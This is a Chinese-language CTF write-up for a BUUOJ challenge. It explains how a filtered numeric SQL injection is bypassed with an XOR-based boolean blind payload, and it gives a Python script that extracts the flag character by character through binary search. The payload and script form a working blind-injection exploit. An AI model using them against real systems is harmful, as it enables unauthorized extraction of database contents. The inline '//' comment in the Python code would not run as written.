用浏览器连接靶机,看到以下页面
右键查看源代码,发现上传用的是 post 请求,根据提示知道 flag 位于 flag 表中的 flag 字段里
搜索框输入 1 或 2 会返回结果,其余返回 bool(false)
尝试注入 1 union select group_concat(flag) from flag.flag
返回 SQL Injection Checked.
是因为后端过滤了 union、and、or、空格等,包括 /**/
输入 1/1 时会正常返回结果,可以判断这是数字型的sql注入,考虑布尔盲注
思路比较简单,用 select 在数据库中提取 flag 各位字母,用二分法(比直接枚举快一点)逐位爆破
sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid)
如果最外层括号(是否大于的判断表达式)值为 True,与 0 异或中仍为 True,反之为 False
import requests
url = 'http://14948c07-2813-4b23-b374-a72b794b079f.node3.buuoj.cn/index.php'
flag = ''
def check(payload):
# print (payload)
upload = { 'id' : payload }
text = requests.post(url, data = upload).text
if ('Hello') in text: # 表达式为真时会返回 id = 1 的结果
return True
return False
for i in range(1,50):
l = 0; r = 255; // [0,255] 所有 ASCALL 字符区间
while (l<=r):
mid = (l + r) >> 1
sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid) #注意不能留空格,一开始错了
if (check(sql)):
l = mid + 1
else:
r = mid - 1
flag += chr(l)
print (flag)